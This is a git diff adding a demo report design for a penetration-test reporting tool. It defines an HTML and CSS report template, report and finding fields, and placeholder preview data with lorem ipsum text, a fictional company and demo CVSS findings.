+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/demo_data/demo-designs/matrix-assets/header-logo.png b/demo_data/demo-designs/matrix-assets/header-logo.png new file mode 100644 index 0000000..69ffc24 Binary files /dev/null and b/demo_data/demo-designs/matrix-assets/header-logo.png differ diff --git a/demo_data/demo-designs/matrix-assets/logo-transparent.png b/demo_data/demo-designs/matrix-assets/logo-transparent.png new file mode 100644 index 0000000..69ffc24 Binary files /dev/null and b/demo_data/demo-designs/matrix-assets/logo-transparent.png differ diff --git a/demo_data/demo-designs/matrix.toml b/demo_data/demo-designs/matrix.toml new file mode 100644 index 0000000..2d07d0e --- /dev/null +++ b/demo_data/demo-designs/matrix.toml @@ -0,0 +1,965 @@ +format = "projecttypes/v1" +id = "70ff91a6-567e-45c9-87d9-0587551bc8ff" +name = "Demo Matrix v1.1" +language = "en-US" +finding_field_order = [ + "title", + "cvss", + "summary", + "short_recommendation", + "affected_components", + "description", + "recommendation", + "references", + "retest_status", + "retest_notes", +] +report_template = """ + + + +
+
+ +
+ + + +
+

{{ report.title }}

+
+ +
+

+ Customer:
+ {{ report.customer }}
+ {{ report.report_date }}
+ v + +

+
+ +
+ Contact:
+ {{ report.lead_pentester.name }}
+ {{ report.lead_pentester.phone }}
+ {{ report.lead_pentester.email }} +
+
+ + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + +
+

Executive Summary

+ +
+ + +
+

Methodology and Scope

+ +
+ + +
+

Vulnerability Overview

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+ +
+

A tabular overview of all vulnerabilities identified:

+ + + + + + + + + + + + + + + +
VulnerabilityCriticalityRemediation Status
+ {{ finding.title }} + + {{ lodash.capitalize(finding.cvss.level) }} + + {{ finding.retest_status.label }} +
+
+ +
+

A list of all vulnerabilities including a brief description:

+
+
+ {{ finding.title }} + ({{ capitalize(finding.cvss.level) }}: {{ finding.cvss.score}}{{ finding.cvss.score }}) +
+ +
+ Affects: + +
    +
  • + +
  • +
+
+ +
+
+ +
+ + +
+

Vulnerability Details

+
+

+ {{ finding.title }} +

+ +
+ + Criticality: {{ capitalize(finding.cvss.level) }}
+ CVSS-Score: + + {{ finding.cvss.score}} + {{ finding.cvss.score }} + {{ finding.cvss.score }} +
+ + +
+ +
+

Overview

+ +
+ +
+

Remarks on Remediation Status

+ +
+ +
+

Description

+ +
+ +
+

Recommendation

+ +
+ +
+

Additional Information

+ +
+ + +
+
+ + +
+

List of Changes

+ + + + + + + + + + + + + + + + + +
VersionDateDescriptionAuthor
{{ item.version }}{{ item.date }}{{ item.description }} + + + +
+
+ + + # Disclaimer {#disclaimer .in-toc} + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + + + + # Imprint {#imprint .in-toc} + + Security Maximale GmbH
+ Example Street 47 | 4711 Example
+ FN 12345 v | District Court Example
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #8c00fc; + --color-risk-high: #ed0003; + --color-risk-medium: #f0d400; + --color-risk-low: #009dff; + --color-risk-info: #00bc00; + + --color-status-open: #ed0003; + --color-status-partial: #f0d400; + --color-status-resolved: #00e200; + --color-status-accepted: #00e200; + --color-status-changed: #009dff; + + --color-highlight: #88ee44; +} + +/* Font settings */ +html { + font-family: "Roboto Flex", sans-serif; + font-size: 11pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.status-open { color: var(--color-status-open) !important; font-weight: bold; } +.status-partial { color: var(--color-status-partial) !important; font-weight: bold; } +.status-resolved { color: var(--color-status-resolved) !important; font-weight: bold; } +.status-accepted { color: var(--color-status-accepted) !important; font-weight: bold; } +.status-changed { color: var(--color-status-changed) !important; font-weight: bold; } + +.highlight { color: var(--color-highlight); } + + +/* PDF-specific global styles */ +@page { + size: A4 portrait; + margin: 35mm 26mm 26mm 26mm; +} + +a { + color: inherit; + text-decoration: none; +} + +pre code { + background-color: whitesmoke; + padding: 0.2em !important; +} + +.location-ul { + margin: 0; + margin-bottom:0.2em; +} + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-background-color: black; + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + background-color: var(--header-background-color); + } + @top-left { + content: element(header-left); + margin-bottom: var(--header-margin-bottom); + background-color: var(--header-background-color); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right { + content: element(header-right); + margin-bottom: var(--header-margin-bottom); + background-color: var(--header-background-color); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + background-color: var(--header-background-color); + } +} +#header #header-left { position: running(header-left); } +#header #header-left { + width: 60%; +} +#header #header-left img { + width: auto; + height: auto; +} +#header #header-right { + position: running(header-right); + text-align: right; + color: white; + font-size: 9pt; +} +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-right-corner { + /* Page number */ + content: counter(page) " / " counter(pages); + font-size: 9pt; + } +} +/* #endregion footer */ + +/* #region page-cover */ +#page-cover { + margin: -35mm -26mm 10mm -26mm; +} +#page-cover-background { + width: 100%; + height: 120mm; + overflow: hidden; + background-color: black; +} +#page-cover-background-img { + width: 100%; + transform: scale(1.16) translateY(-11%); + opacity: 0.7; +} +#page-cover-logo { + position: absolute; + top: -30mm; + left: -7mm; + width: 50%; +} +#page-cover-logo-text { + position: absolute; + top: -12mm; + left: 4mm; + color: #ffffff; +} +#page-cover-infobox { + position: absolute; + top: 30mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} +#page-cover-title { + font-size: 18pt; + font-weight: normal; + margin-top: 0; + margin-bottom: 0.3em; +} +#page-cover-customer { + position: absolute; + top: 43mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} +#page-cover-contact { + position: absolute; + top: 46mm; + right: 4mm; + text-align: right; + color: #ffffff; +} + +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-center { content: none !important; } + @top-right { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer */ + @bottom-left-corner { content: none !important; } + @bottom-left { content: none !important; } + @bottom-center { content: none !important; } + @bottom-right { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(" ") " " target-counter(attr(href), page); + font-weight: normal; +} +#toc .toc-level1 { + padding-left: 0; + margin-top: 0.7rem; + font-weight: bold; +} +#toc .toc-level2 { + padding-left: 1.5rem; + margin-top: 0.35rem; + font-weight: normal; +} +#toc .toc-level3 { + padding-left: 3rem; + margin-top: 0.25rem; + font-weight: normal; +} +#toc .toc-level4 { + padding-left: 4.5rem; + margin-top: 0; + font-weight: normal; +} +/* #endregion toc */ + +/* #region findings-list */ +.findings-list { + counter-reset: finding-counter; +} +.findings-list .finding-title::before { + counter-increment: finding-counter; + content: counter(finding-counter) ". "; +} +/* #endregion findings-list */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO report title" +required = true +spellcheck = true + +[report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +**TODO scope** + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +required = true + +[report_fields.customer] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO customer" +required = true +spellcheck = false + +[report_fields.duration] +type = "string" +label = "Duration" +origin = "custom" +default = "TODO person days" +required = true +spellcheck = false + +[report_fields.end_date] +type = "date" +label = "Pentest End Date" +origin = "custom" +required = true + +[report_fields.is_retest] +type = "boolean" +label = "Is Retest" +origin = "predefined" + +[report_fields.start_date] +type = "date" +label = "Pentest Start Date" +origin = "custom" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.lead_pentester] +type = "object" +label = "Lead Pentester" +origin = "custom" + +[report_fields.lead_pentester.properties] +[report_fields.lead_pentester.properties.name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO name" +required = true +spellcheck = false + +[report_fields.lead_pentester.properties.email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO email" +required = true +spellcheck = false + +[report_fields.lead_pentester.properties.phone] +type = "string" +label = "Phone Number" +origin = "custom" +default = "TODO phone" +required = true +spellcheck = false + +[report_fields.document_history] +type = "list" +label = "Document History" +origin = "custom" +required = true + +[report_fields.document_history.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.document_history.items.properties] +[report_fields.document_history.items.properties.description] +type = "string" +label = "Description" +origin = "custom" +default = "TODO description" +required = true +spellcheck = false + +[report_fields.document_history.items.properties.date] +type = "date" +label = "Date" +origin = "custom" +required = true + +[report_fields.document_history.items.properties.authors] +type = "list" +label = "Authors" +origin = "custom" +required = true + +[report_fields.document_history.items.properties.authors.items] +type = "string" +label = "" +origin = "custom" +default = "TODO author" +required = true +spellcheck = false + +[report_fields.document_history.items.properties.version] +type = "string" +label = "Version" +origin = "custom" +default = "TODO version" +required = true +spellcheck = false + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +**TODO summary** + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" +required = true + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[report_sections]] +id = "scope" +label = "Scope" +fields = [ + "scope", + "duration", + "start_date", + "end_date", +] + +[[report_sections]] +id = "customer" +label = "Customer" +fields = [ + "customer", +] + +[[report_sections]] +id = "other" +label = "Other" +fields = [ + "title", + "report_date", + "lead_pentester", + "document_history", + "is_retest", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO: New Finding" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[finding_fields.summary] +type = "markdown" +label = "Summary" +origin = "predefined" +default = "TODO summary" +required = true + +[finding_fields.description] +type = "markdown" +label = "Technical Description" +origin = "predefined" +default = "TODO description" +required = true + +[finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO recommendation" +required = true + +[finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[finding_fields.references.items] +type = "string" +label = "" +origin = "predefined" +required = true +spellcheck = false + +[finding_fields.retest_notes] +type = "markdown" +label = "Re-test Notes" +origin = "predefined" +required = false + +[finding_fields.retest_status] +type = "enum" +label = "Re-test Status" +origin = "predefined" +required = false + +[[finding_fields.retest_status.choices]] +label = "Open" +value = "open" + +[[finding_fields.retest_status.choices]] +label = "Resolved" +value = "resolved" + +[[finding_fields.retest_status.choices]] +label = "Partially Resolved" +value = "partial" + +[[finding_fields.retest_status.choices]] +label = "Changed" +value = "changed" + +[[finding_fields.retest_status.choices]] +label = "Accepted" +value = "accepted" + +[finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = true + +[finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO affected component" +required = true +spellcheck = false + +[finding_fields.short_recommendation] +type = "string" +label = "Short Recommendation" +origin = "predefined" +required = true +spellcheck = true + +[report_preview_data] +[report_preview_data.report] +title = "Example Web-App" +scope = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +customer = "Example Customer" +duration = "TODO person days" +end_date = "2022-07-08" +is_retest = true +start_date = "2022-07-08" +report_date = "2022-07-08" +executive_summary = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" + +[report_preview_data.report.lead_pentester] +name = "Maxima Mustermensch" +email = "maxima@securitymaximale.com" +phone = "+43 660 123 456 78 " + +[[report_preview_data.report.document_history]] +description = "Draft" +date = "2022-07-08" +authors = [ + "TODO Author1", +] +version = "0.1" + +[[report_preview_data.report.document_history]] +description = "Final Report" +date = "2022-07-08" +authors = [ + "TODO Author1", + "TODO Author2", +] +version = "1.0" + +[[report_preview_data.findings]] +title = "Demo Finding Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c5012235-9cd4-475f-86de-0236de1b4b88" +references = [ + "https://example.com/reference1", + "https://example.com/reference2", +] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Also Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c6a6d51c-999c-4e8c-a506-596689e73f0b" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Medium" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "e685494a-ada0-47cd-aeac-a82dd8fb7dae" +references = [] +retest_notes = """ +Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod 